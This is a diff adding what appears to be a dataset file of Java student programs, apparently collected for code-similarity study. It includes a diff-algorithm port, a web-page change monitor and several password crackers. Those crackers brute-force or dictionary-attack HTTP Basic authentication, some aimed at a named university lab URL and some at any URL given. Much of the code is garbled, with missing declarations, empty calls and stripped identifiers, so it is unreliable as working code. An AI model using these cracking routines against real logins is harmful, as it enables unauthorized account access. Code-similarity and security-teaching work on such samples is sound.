+  private boolean inhibit = false;
+
+  
+
+  private void shift_boundaries() {
+    if (inhibit)
+      return;
+    filevec[0].shift_boundaries(filevec[1]);
+    filevec[1].shift_boundaries(filevec[0]);
+  }
+
+  public interface ScriptBuilder {
+  
+    public change build_script(
+      boolean[] changed0,int len0,
+      boolean[] changed1,int len1
+    );
+  }
+
+  
+
+  static class ReverseScript implements ScriptBuilder {
+    public  change build_script(
+        final boolean[] changed0,int len0,
+        final boolean[] changed1,int len1)
+    {
+      change script = null;
+      int i0 = 0, i1 = 0;
+      while (i0 < len0 || i1 < len1) {
+        if (changed0[1+i0] || changed1[1+i1]) {
+            int line0 = i0, line1 = i1;
+
+            
+            while (changed0[1+i0]) ++i0;
+            while (changed1[1+i1]) ++i1;
+
+            
+            script = new change(line0, line1, i0 - line0, i1 - line1, script);
+        }
+
+        
+        i0++; i1++;
+      }
+
+      return script;
+    }
+  }
+
+  static class ForwardScript implements ScriptBuilder {
+    
+    public change build_script(
+          final boolean[] changed0,int len0,
+          final boolean[] changed1,int len1)
+    {
+      change script = null;
+      int i0 = len0, i1 = len1;
+
+      while (i0 >= 0 || i1 >= 0)
+        {
+          if (changed0[i0] || changed1[i1])
+            {
+              int line0 = i0, line1 = i1;
+
+              
+              while (changed0[i0]) --i0;
+              while (changed1[i1]) --i1;
+
+              
+              script = new change(i0, i1, line0 - i0, line1 - i1, script);
+            }
+
+          
+          i0--; i1--;
+        }
+
+      return script;
+    }
+  }
+
+  
+  public final static ScriptBuilder
+    forwardScript = new ForwardScript(),
+    reverseScript = new ReverseScript();
+
+  
+  public final change diff_2(final boolean reverse) {
+    return diff(reverse ? reverseScript : forwardScript);
+  }
+
+  
+  public change diff(final ScriptBuilder bld) {
+
+    
+
+    discard_confusing_lines ();
+
+    
+
+    xvec = filevec[0].undiscarded;
+    yvec = filevec[1].undiscarded;
+
+    int diags =
+      filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3;
+    fdiag = new int[diags];
+    fdiagoff = filevec[1].nondiscarded_lines + 1;
+    bdiag = new int[diags];
+    bdiagoff = filevec[1].nondiscarded_lines + 1;
+
+    compareseq (0, filevec[0].nondiscarded_lines,
+                0, filevec[1].nondiscarded_lines);
+    fdiag = null;
+    bdiag = null;
+
+    
+
+    shift_boundaries ();
+
+    
+    return bld.build_script(
+      filevec[0].changed_flag,
+      filevec[0].buffered_lines,
+      filevec[1].changed_flag,
+      filevec[1].buffered_lines
+    );
+
+  }
+
+  
+
+  public static class change {
+    
+    public int change ;         
+    
+    public final int inserted;  
+    
+    public final int deleted;           
+    
+    public final int line0;             
+    
+    public final int line1;             
+
+    
+    public change(int line0, int line1, int deleted, int inserted, change old) {
+      this.line0 = line0;
+      this.line1 = line1;
+      this.inserted = inserted;
+      this.deleted = deleted;
+      this.old = old;
+      
+    }
+  }
+
+  
+
+  class file_data {
+
+    
+    void clear() {
+      
+      changed_flag = new boolean[buffered_lines + 2];
+    }
+
+    
+    int[] equivCount() {
+      int[] equiv_count = new int[equiv_max];
+      for (int i = 0; i < buffered_lines; ++i)
+        ++equiv_count[equivs[i]];
+      return equiv_count;
+    }
+
+    
+    void discard_confusing_lines(file_data f) {
+      clear();
+    
+      final byte[] discarded = discardable(f.equivCount());
+
+    
+      filterDiscards(discarded);
+
+    
+      discard(discarded);
+    }
+
+    
+
+    private byte[] discardable(final int[] counts) {
+      final int end = buffered_lines;
+      final byte[] discards = new byte[end];
+      final int[] equivs = this.equivs;
+      int many = 5;
+      int tem = end / 64;
+
+      
+      while ((tem = tem >> 2) > 0)
+        many *= 2;
+
+      for (int i = 0; i < end; i++)
+        {
+          int nmatch;
+          if (equivs[i] == 0)
+            continue;
+          nmatch = counts[equivs[i]];
+          if (nmatch == 0)
+            discards[i] = 1;
+          else if (nmatch > many)
+            discards[i] = 2;
+        }
+      return discards;
+    }
+
+    
+
+    private void filterDiscards(final byte[] discards) {
+        final int end = buffered_lines;
+
+        for (int i = 0; i < end; i++)
+          {
+            
+            if (discards[i] == 2)
+              discards[i] = 0;
+            else if (discards[i] != 0)
+              {
+                
+                int j;
+                int length;
+                int provisional = 0;
+
+                
+                for (j = i; j < end; j++)
+                  {
+                    if (discards[j] == 0)
+                      break;
+                    if (discards[j] == 2)
+                      ++provisional;
+                  }
+
+                
+                while (j > i && discards[j - 1] == 2) {
+                  discards[--j] = 0; --provisional;
+                }
+
+                
+                length = j - i;
+
+                
+                if (provisional * 4 > length)
+                  {
+                    while (j > i)
+                      if (discards[--j] == 2)
+                        discards[j] = 0;
+                  }
+                else
+                  {
+                    int consec;
+                    int minimum = 1;
+                    int tem = length / 4;
+
+                    
+                    while ((tem = tem >> 2) > 0)
+                      minimum *= 2;
+                    minimum++;
+
+                    
+                    for (j = 0, consec = 0; j < length; j++)
+                      if (discards[i + j] != 2)
+                        consec = 0;
+                      else if (minimum == ++consec)
+                        
+                        j -= consec;
+                      else if (minimum < consec)
+                        discards[i + j] = 0;
+
+                    
+                    for (j = 0, consec = 0; j < length; j++)
+                      {
+                        if (j >= 8 && discards[i + j] == 1)
+                          break;
+                        if (discards[i + j] == 2) {
+                          consec = 0; discards[i + j] = 0;
+                        }
+                        else if (discards[i + j] == 0)
+                          consec = 0;
+                        else
+                          consec++;
+                        if (consec == 3)
+                          break;
+                      }
+
+                    
+                    i += length - 1;
+
+                    
+                    for (j = 0, consec = 0; j < length; j++)
+                      {
+                        if (j >= 8 && discards[i - j] == 1)
+                          break;
+                        if (discards[i - j] == 2) {
+                          consec = 0; discards[i - j] = 0;
+                        }
+                        else if (discards[i - j] == 0)
+                          consec = 0;
+                        else
+                          consec++;
+                        if (consec == 3)
+                          break;
+                      }
+                  }
+              }
+          }
+      }
+
+    
+    private void discard(final byte[] discards) {
+      final int end = buffered_lines;
+      int j = 0;
+      for (int i = 0; i < end; ++i)
+        if (no_discards || discards[i] == 0)
+          {
+            undiscarded[j] = equivs[i];
+            realindexes[j++] = i;
+          }
+        else
+          changed_flag[1+i] = true;
+      nondiscarded_lines = j;
+    }
+
+    file_data(Object[] data,Hashtable h) {
+      buffered_lines = data.length;
+
+      equivs = new int[buffered_lines]; 
+      undiscarded = new int[buffered_lines];
+      realindexes = new int[buffered_lines];
+
+      for (int i = 0; i < data.length; ++i) {
+        Integer ir = (Integer)h.get(data[i]);
+        if (ir == null)
+          h.put(data[i],new Integer(equivs[i] = equiv_max++));
+        else
+          equivs[i] = ir.intValue();
+      }
+    }
+
+    
+
+    void shift_boundaries(file_data f) {
+      final boolean[] changed = changed_flag;
+      final boolean[] other_changed = f.changed_flag;
+      int i = 0;
+      int j = 0;
+      int i_end = buffered_lines;
+      int preceding = -1;
+      int other_preceding = -1;
+
+      for (;;)
+        {
+          int start, end, other_start;
+
+          
+
+          while (i < i_end && !changed[1+i])
+            {
+              while (other_changed[1+j++])
+                
+                other_preceding = j;
+              i++;
+            }
+
+          if (i == i_end)
+            break;
+
+          start = i;
+          other_start = j;
+
+          for (;;)
+            {
+              
+
+              while (i < i_end && changed[1+i]) i++;
+              end = i;
+
+              
+
+              
+
+              if (end != i_end
+                  && equivs[start] == equivs[end]
+                  && !other_changed[1+j]
+                  && end != i_end
+                  && !((preceding >= 0 && start == preceding)
+                       || (other_preceding >= 0
+                           && other_start == other_preceding)))
+                {
+                  changed[1+end++] = true;
+                  changed[1+start++] = false;
+                  ++i;
+                  
+                  ++j;
+                }
+              else
+                break;
+            }
+
+          preceding = i;
+          other_preceding = j;
+        }
+    }
+
+    
+    final int buffered_lines;
+
+    
+    private final int[]     equivs;
+
+    
+    final int[]    undiscarded;
+
+    
+    final int[]    realindexes;
+
+    
+    int             nondiscarded_lines;
+
+    
+    boolean[]       changed_flag;
+
+  }
+}
+"
+058.java,"
+
+import java.io.*;
+import java.util.*;
+import java.net.*;
+
+
+public class BruteForce {
+
+	public BruteForce() {
+		
+	}
+
+	public static void main(String[] args) {
+
+	String[] validPW = { ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"",
+			""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z"",
+			""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"", ""J"", ""K"", ""L"", ""M"",
+			""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"", ""Y"", ""Z"" };
+
+	String attackWP = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+	String userID = """";
+	int trytimes = 0;
+	int count=52;
+	String userPassword="""";
+	try {
+		 startmillisecond = System.currentTimeMillis();
+	
+		for (int i = 0; i < count; i++) {
+                  for (int j = 0; j < count; j++) {
+                    for (int k = 0; k < count; k++) {
+			trytimes ++;
+			userPassword = userID + "":"" + validPW[i] + validPW[j] + validPW[k];
+			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
+			if (attackOK == 1) {
+				 endmillisecond = System.currentTimeMillis();
+				 searchmillisecond = endmillisecond - startmillisecond;
+				System.out.println(""Match in "" + searchmillisecond + "" milliseconds "");
+				System.out.println(""Try "" + trytimes + "" times "");
+				System.exit(1);
+			}
+		    }
+		  }
+		}
+	
+		for (int i = 0; i < count; i++) {
+                  for (int j = 0; j < count; j++) {
+			trytimes ++;
+			userPassword = userID + "":"" + validPW[i] + validPW[j];
+			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
+			if (attackOK == 1) {
+				 endmillisecond = System.currentTimeMillis();
+				 searchmillisecond = endmillisecond - startmillisecond;
+				System.out.println(""Match in "" + searchmillisecond + "" milliseconds "");
+				System.out.println(""Try "" + trytimes + "" times "");
+				System.exit(1);
+			}
+		  }
+		}
+	
+		for (int i = 0; i < count; i++) {
+			userPassword = userID + "":"" + validPW[i];
+			trytimes ++;
+			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
+			if (attackOK == 1) {
+				 endmillisecond = System.currentTimeMillis();
+				 searchmillisecond = endmillisecond - startmillisecond;
+				System.out.println(""Match in "" + searchmillisecond + "" milliseconds "");
+				System.out.println(""Try "" + trytimes + "" times "");
+				System.exit(1);
+			}
+		}
+	}
+	catch (Exception ioe) {
+            System.out.println(ioe.getMessage());
+        }
+        finally {
+        }
+	}
+	
+	public int attackURL(String userPassword, String attackWP) {
+		int rtn = 1;
+		try {
+		        URL url = new URL(attackWP);
+			System.out.println(""User & Password :"" + userPassword);
+		        String encoding = Base64Converter.encode (userPassword.getBytes());
+			
+			URLConnection uc = url.openConnection();
+			uc.setRequestProperty  (""Authorization"", "" "" + encoding);
+			InputStream content = (InputStream)uc.getInputStream();
+			BufferedReader in = new BufferedReader (new InputStreamReader (content));
+			String line;
+			while ((line = in.readLine()) != null) {
+			
+				System.out.println(line);
+		        }
+		} catch (MalformedURLException e) {
+			rtn = 2;
+	       		System.out.println(""Invalid URL"");
+		} catch (IOException e) {
+      			System.out.println(""Error  URL"");
+			rtn = 2;
+		}
+		return rtn;
+	}
+
+}
+"
+130.java,"import java.net.*;
+import java.io.*;
+
+public  class Dictionary
+{
+	public Dictionary(String u,String uname) throws Exception
+	{
+		URL url=null;
+		String pass="""";
+		try
+		{
+			url=new URL(u);
+			PasswordAuthentication pa;
+			MyAuthenticator =new MyAuthenticator();
+			HttpURLConnection htt ;
+			BufferedReader in=new BufferedReader(new FileReader(new File(""/usr/share/lib/dict/words""))); 
+			int c=0;
+			while((pass=in.readLine()) != null)
+			{
+				if(pass.length()<=3)
+				{
+					c++;
+					pa=new PasswordAuthentication(uname,pass.toCharArray());
+					htt.setPasswordAuthentication(pa);
+					Authenticator.setDefault();
+					htt=(HttpURLConnection)url.openConnection();
+System.out.println(""Try :""+(c)+""      password:(""+pass+"") response message: (""+bf.getResponseMessage()+"")"");
+					if(htt.getResponseCode() != 401)
+						throw new NullPointerException();
+
+
+					htt.disconnect();
+				}
+			}
+
+		}
+		catch(MalformedURLException mfe)
+		{
+			System.out.println(""The URL :""+u+"" is not a proper URL."");
+		}
+		catch(NullPointerException great)
+		{
+			System.out.println(""\n\n The password is cracked.\n The password is : ""+pass);
+		}
+		catch(Exception e)
+		{
+			e.printStackTrace();
+		}
+	}
+
+
+	public static void main (String[] args)  throws Exception
+	{
+		if(args.length!=2)
+			System.out.println(""Usage :\n java Dictionary <url> <user-name>"");
+		else
+		{
+			System.out.println(""Starting the Dictionary Attack : ""+args[0]);
+			new Dictionary(args[0],args[1]);
+		}
+	}
+}
+
+
+"
+032.java,"
+import java.awt.*;
+import java.awt.event.*;
+import java.io.*;
+import java.util.*;
+import java.net.*;
+
+public class Dictionary
+{
+   private String userPassword;
+   private static int counter;
+
+
+
+
+
+   public Dictionary(String username)
+   {
+    String user;
+    String password;
+    counter = 0;
+    user = username;
+
+          try
+          {
+            FileReader fr = new FileReader( ""/usr/share/lib/dict/words"" );
+            BufferedReader bf = new BufferedReader( fr );
+
+              while ((password = bf.readLine()) != null)
+              {
+                  userPassword = user + "":"" + password;
+
+                   System.out.print(""."");
+
+                     if (password.length() == 3)
+                         if (doEncoding(userPassword)== true)
+                         {
+                            System.out.println(password);
+                            return;
+                        }
+
+                  counter++;
+               }
+          }
+          catch ( IOException ioe )
+          {
+            System.err.println( ioe.toString() );
+          }
+   }
+
+
+
+
+   private boolean doEncoding(String userPassword)
+   {
+       String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
+       return doAttempt(encoding);
+   }
+
+
+
+
+
+   private boolean doAttempt (String encoding)
+   {
+
+      try
+      {
+         URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+         URLConnection uc = url.openConnection();
+         uc.setDoInput(true);
+         uc.setDoOutput(true);
+
+         uc.setRequestProperty  (""Get"", ""/SEC/2/ "" + ""HTTP/1.1"");
+         uc.setRequestProperty  (""Host"", ""sec-crack.cs.rmit.edu."");
+         uc.setRequestProperty  (""Authorization"", "" "" + encoding);
+
+         return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"");
+       }
+       catch (MalformedURLException e)
+       {
+         System.out.println (""Invalid URL"");
+       }
+       catch (IOException e)
+       {
+         System.out.println (e.toString() );
+       }
+
+       return false;
+   }
+
+
+
+
+
+  public static void  main(String args[])
+   {
+     Date sdate = new Date();
+     System.out.print(""Starting the Ditionary Attack at:"" + sdate + ""\n"");
+
+     Dictionary bf = new Dictionary(args[0]);
+
+     Date edate = new Date();
+     System.out.print(""Ditionary Attack ends at:"" + sdate + ""\n"");
+     System.out.println(""Time taken by Dictionary is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n"");
+     System.out.print(""Attempts  in this session:"" + counter + ""\n"");
+
+   }
+}
+
+
+
+
+"
+039.java,"
+public class CasePasswords
+{
+
+    
+    static int verbose = CrackingConstants.quietMode;
+
+    
+	
+	public void CasePasswords()
+	{
+    }
+
+	
+	public void CasePasswords(int inVerbose)
+	{
+	    verbose = inVerbose;
+    }
+
+	
+    public String [] createCasedPasswords( int leftIndex, int  midIndex, int rightIndex, String tail, String [] lowerChars, String [] upperChars, int scanType)
+    {
+        String [] casedPasswords = null;
+        
+        
+        
+        if(scanType == CrackingConstants.casedScan)
+            if(rightIndex > -1)
+            {
+                
+                casedPasswords = new String[8];
+            }
+            else if(midIndex > -1)
+            {
+                
+                casedPasswords = new String[4];
+            }
+            else
+            {
+                
+                casedPasswords = new String[2];
+            }
+        else  
+        {
+            
+            casedPasswords = new String[1];
+        }	
+                
+        
+        
+        
+        if(scanType == CrackingConstants.casedScan)
+        {
+            if(rightIndex > -1)
+            {
+                
+                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
+                casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];
+                casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];
+                casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];
+                casedPasswords[4] = upperChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
+                casedPasswords[5] = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];
+                casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];
+                casedPasswords[7] = lowerChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];
+            }
+            else if(midIndex > -1)
+            {
+                
+                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];
+                casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex];
+                casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex];
+                casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex];
+            }
+            else
+            {
+                
+                casedPasswords[0] = lowerChars[leftIndex];
+                casedPasswords[1] = upperChars[leftIndex];
+            }
+        }
+        else	
+        {
+            if(rightIndex > -1)
+            {
+                
+                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
+            }
+            else if(midIndex > -1)
+            {
+                
+                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];
+            }
+            else
+            {
+                
+                casedPasswords[0] = lowerChars[leftIndex];
+            }
+        }	
+        
+        
+        
+        
+        
+        if("""" != tail)
+        	for( i = 0; i < casedPasswords.length; i++)
+        		casedPasswords[i] += tail;
+                        
+	    if(verbose  == CrackingConstants.verboseMode2)
+	        printPasswords(casedPasswords);
+
+        return casedPasswords;
+    }  
+    
+	
+    public String [] createCasedPasswords(String candidate, int  scanType)
+    {
+        
+        int candLength = candidate.length();
+        int arrayLength = 2 ^ candLength;
+        arrayLength = 1;
+        String [] shortCasedPasswords = new String[1];
+        String [] casedPasswords = null;
+        char[] password = new char [candidate.length()];
+        
+        
+        if(scanType != CrackingConstants.simpleScan)
+            candidate.getChars(0, candidate.length(), password, 0);
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        
+        if(scanType == CrackingConstants.simpleScan)
+        {
+            
+            
+            casedPasswords = new String[1];
+            casedPasswords[0] = candidate;
+        }
+        else if(candidate.length() == 1)
+        {
+            casedPasswords = new String[2];
+            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));
+            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));
+            
+        }
+        else if (candidate.length() == 2)
+        {
+            casedPasswords = new String[4];
+            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));
+            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));
+            casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));
+            casedPasswords[3] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));
+            
+        }
+        else if (candidate.length() == 3)
+        {
+            casedPasswords = new String[8];
+            casedPasswords[0] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toLowerCase(password[2]);
+            casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toUpperCase(password[2]);
+            casedPasswords[2] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toUpperCase(password[2]);
+            casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toLowerCase(password[2]);
+            casedPasswords[4] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toLowerCase(password[2]);
+            casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toLowerCase(password[2]);
+            casedPasswords[6] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toUpperCase(password[2]);
+            casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toUpperCase(password[2]);
+            
+        }
+        else if (candidate.length() > 3)
+        {
+            casedPasswords = new String[8];
+            String tailCharacters = new String(password, 3, (password.length - 3));
+            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
+            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
+            casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
+            casedPasswords[3] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
+            casedPasswords[4] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
+            casedPasswords[5] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
+            casedPasswords[6] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
+            casedPasswords[7] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
+            
+        }
+        
+	    if(verbose == CrackingConstants.verboseMode2)
+	        printPasswords(casedPasswords);
+
+        return casedPasswords;
+    }
+    
+   
+	
+    private void printPasswords(String [] passwords)
+    {
+        if(passwords.length > 0)
+        {
+           for( i = 0; i < passwords.length; i++)	
+           {
+                System.out.print(passwords[i] + ""\t"");
+           }
+           System.out.println(""\n"");
+        }
+    }  
+    
+} 
+"
+001.java,"
+
+
+import java.io.*;
+
+class WatchDog {
+
+	public static void main(String args[]){
+		Calls c = new Calls();
+		
+		c.retrieveFile(""students/"");
+        c.retrieveFile(""images/newcsitlogo.jpg"");
+        c.retrieveFile(""images/rmitcsit.jpg"");
+        c.retrieveFile(""images/helix.jpg"");
+
+        
+		String checksum = c.getChecksum(""index.html"");
+		String imgchecksum1 = c.getChecksum(""newcsitlogo.jpg"");
+
+        String imgchecksum3 = c.getChecksum(""rmitcsit.jpg"");
+
+        String imgchecksum5 = c.getChecksum(""helix.jpg"");
+
+        System.out.println(""Checksum of original file "" +checksum);
+        System.out.println(""Checksum of image 1 "" +imgchecksum1);
+
+        System.out.println(""Checksum of image 2"" +imgchecksum3);
+
+        System.out.println(""Checksum of image 3"" +imgchecksum5);
+
+        for(int x = 0; x < 3;x++){
+		
+		System.out.println(""Watchdog switching  sleep state -> 24hrs"");
+        try{
+            Thread.sleep(86400000);
+		}
+		catch(Exception e){
+		    System.out.println(""Exception in sleep: ""+e);
+        }
+        System.out.println(""Watchdog switching  running state"");
+
+		
+		c.retrieveFile(""students/"");
+        c.retrieveFile(""images/newcsitlogo.jpg"");
+
+        c.retrieveFile(""images/rmitcsit.jpg"");
+
+        c.retrieveFile(""images/helix.jpg"");
+
+		
+	    String newchecksum = c.getChecksum(""index.html.1"");
+
+
+        String newimgchecksum1 = c.getChecksum(""newcsitlogo.jpg.1"");
+
+        String newimgchecksum3 = c.getChecksum(""rmitcsit.jpg.1"");
+
+        String newimgchecksum5 = c.getChecksum(""helix.jpg.1"");
+
+        System.out.println(""Checksum of new  "" +newchecksum);
+        System.out.println(""Checksum of new image 1 "" +newimgchecksum1);
+
+        System.out.println(""Checksum of new image 2"" +newimgchecksum3);
+
+        System.out.println(""Checksum of new image 3"" +newimgchecksum5);
+
+
+        
+        if(newchecksum.equals(checksum) && newimgchecksum1.equals(imgchecksum1) && newimgchecksum3.equals(imgchecksum3)  && newimgchecksum5.equals(imgchecksum5))
+	        System.out.println("" Changes Detected "");
+        else{
+            
+            System.out.println(""Changes Detected "");
+            c.spotDiff();
+            
+            c.mail();
+        }
+
+        
+
+
+        
+	    c.deletePage(""index.html.1"");
+	    c.deletePage(""newcsitlogo.jpg.1*"");
+          c.deletePage(""rmitcsit.jpg.1*"");
+            c.deletePage(""helix.jpg.1*"");
+       }
+
+    }
+
+}
+
+
+
+class Calls{
+	public void retrieveFile(String file){
+		try{
+			Process p = Runtime.getRuntime().exec(""wget -nv http://www.cs.rmit.edu./"" +file);
+
+			InputStream is = p.getErrorStream();
+			BufferedReader bf = new BufferedReader(new InputStreamReader(is));
+
+			String tempLine="""";
+			tempLine = bf.readLine();
+			System.out.println(tempLine);
+
+		}
+
+		catch(Exception e){
+			System.out.println(""Exc in retrievePage() "" +e);
+		}
+	}
+	public String getChecksum(String cadena) {
+		String tempLine="""";
+		try{
+			Process p = Runtime.getRuntime().exec(""/usr/local//md5sum "" + cadena);
+
+			InputStream is = p.getInputStream();
+			BufferedReader bf = new BufferedReader(new InputStreamReader(is));
+			tempLine = bf.readLine();
+
+		}
+		catch(Exception e){
+			System.out.println(e);
+		}
+		return tempLine.substring(0,32);
+	}
+
+	public void deletePage(String temp) {
+		String [] cad= new String[3];
+        cad[0]=""//sh"";
+        cad[1]=""-c"";
+        cad[2]=""rm "" + temp;
+        String tempLine="""";
+		try{
+			Process p = Runtime.getRuntime().exec();
+		}
+		catch(Exception e){
+			System.out.println(e);
+		}
+
+	}
+
+    public void spotDiff(){
+        String tempLine="""";
+
+        try{
+            FileWriter fwr = new FileWriter(""report.txt"");
+            BufferedWriter bwr =  new BufferedWriter(fwr);
+            PrintWriter pwr = new PrintWriter(bwr);
+
+            Process p = Runtime.getRuntime().exec(""diff .html .html.1"");
+            InputStream is = p.getInputStream();
+			BufferedReader bf = new BufferedReader(new InputStreamReader(is));
+
+            pwr.println(""Changes in index.html"");
+            pwr.flush();
+
+            while((tempLine = bf.readLine())!=null)
+			{
+			    System.out.println(tempLine);
+                pwr.println(tempLine);
+                pwr.flush();
+            }
+            pwr.println(""------------------------------------------------"");
+            pwr.flush();
+            pwr.println(""Changes in Images"");
+            pwr.flush();
+
+            Process p1 = Runtime.getRuntime().exec(""diff newcsitlogo.jpg newcsitlogo.jpg.1"");
+            InputStream ist = p1.getInputStream();
+			BufferedReader bre = new BufferedReader(new InputStreamReader(ist));
+
+            while((tempLine = bre.readLine())!=null)
+			{
+			    System.out.println(tempLine);
+                pwr.println(tempLine);
+                pwr.flush();
+            }
+
+
+
+            Process p3 = Runtime.getRuntime().exec(""diff rmitcsit.jpg rmitcsit.jpg.1"");
+            InputStream ist2 = p3.getInputStream();
+			BufferedReader bre2 = new BufferedReader(new InputStreamReader(ist2));
+
+            while((tempLine = bre2.readLine())!=null)
+			{
+			    System.out.println(tempLine);
+                pwr.println(tempLine);
+                pwr.flush();
+            }
+
+
+
+            Process p5 = Runtime.getRuntime().exec(""diff helix.jpg helix.jpg.1"");
+            InputStream ist4 = p5.getInputStream();
+			BufferedReader bre4 = new BufferedReader(new InputStreamReader(ist4));
+
+            while((tempLine = bre4.readLine())!=null)
+			{
+			    System.out.println(tempLine);
+                pwr.println(tempLine);
+                pwr.flush();
+            }
+
+
+        }
+        catch(Exception e){
+            System.out.println(""Exception Spot Difference : "" +e);
+        }
+    }
+
+    public void mail(){
+           String mail[] = new String[3];
+           mail[0]=""//sh"";
+           mail[1]=""-c"";
+           mail[2]=""mailx @cs.rmit.edu. < report.txt"";
+           try{
+               Process p = Runtime.getRuntime().exec(mail);
+           }
+           catch(Exception e){
+                System.out.println(""Exception mail: "" +e);
+           }
+    }
+
+
+}
+"
+143.java,"
+
+import java.net.*;
+import java.io.*;
+import java.util.*;
+
+public class BruteForce{
+
+  private static URL location;
+  private static String user;
+  private BufferedReader input;
+  private char [] password = {'A', 'A', 'A'};
+  private int noLetters = 3;
+
+  
+
+    public BruteForce() {
+      
+      Authenticator.setDefault(new MyAuthenticator ());
+
+       startTime = System.currentTimeMillis();
+      boolean passwordMatched = false;
+      while (!passwordMatched) {
+        try {
+          input = new BufferedReader(new InputStreamReader(location.openStream()));
+          String line = input.readLine();
+          while (line != null) {
+            System.out.println(line);
+            line = input.readLine();
+          }
+          input.close();
+          passwordMatched = true;
+        }
+        catch (ProtocolException e)
+        {
+          
+          
+        }
+        catch (ConnectException e) {
+          System.out.println(""Failed  connect"");
+        }
+        catch (IOException e) {
+          e.printStackTrace();
+          System.exit(-1);
+        }
+      }
+       endTime = System.currentTimeMillis();
+      System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime)));
+    }
+
+    
+
+    private char[] nextPassword() {
+
+      char [] currentPassword = new char[noLetters];
+      for (int i=0; i<noLetters; i++) {
+        currentPassword[i] = password[i];
+      }
+
+      boolean loop = true;
+      int i = noLetters - 1;
+
+      while (loop ) {
+        password[i]++;
+        loop = false;
+        if (password[i] > 'Z' && password[i] < 'a') {
+          password[i] = 'a';
+        }
+        else if (password[i] > 'z') {
+          if (noLetters == 1 && i == 0) {
+            System.out.println(""Password not found"");
+            System.exit(-1);
+          }
+          password[i] = 'A';
+          i--;
+          loop = true;
+          if (i<0) {
+            noLetters--;
+            for (int j=0; j <noLetters; j++) {
+              password[j] = 'A';
+              loop = false;
+            }
+          }
+        }
+      }
+
+      return currentPassword;
+    }
+
+
+    
+
+    public static void main(String args[]) {
+      if (args.length != 2) {
+        System.out.println(""Usage: java BruteForce url user"");
+        System.exit(-1);
+      }
+      try {
+        location = new URL(args[0]);
+      }
+      catch (MalformedURLException e) {
+        e.printStackTrace();
+      }
+      user = new String().concat(args[1]);
+      new BruteForce();
+    }
+
+    
+
+    class MyAuthenticator extends Authenticator {
+      protected PasswordAuthentication getPasswordAuthentication() {
+        char [] currentPassword = nextPassword();
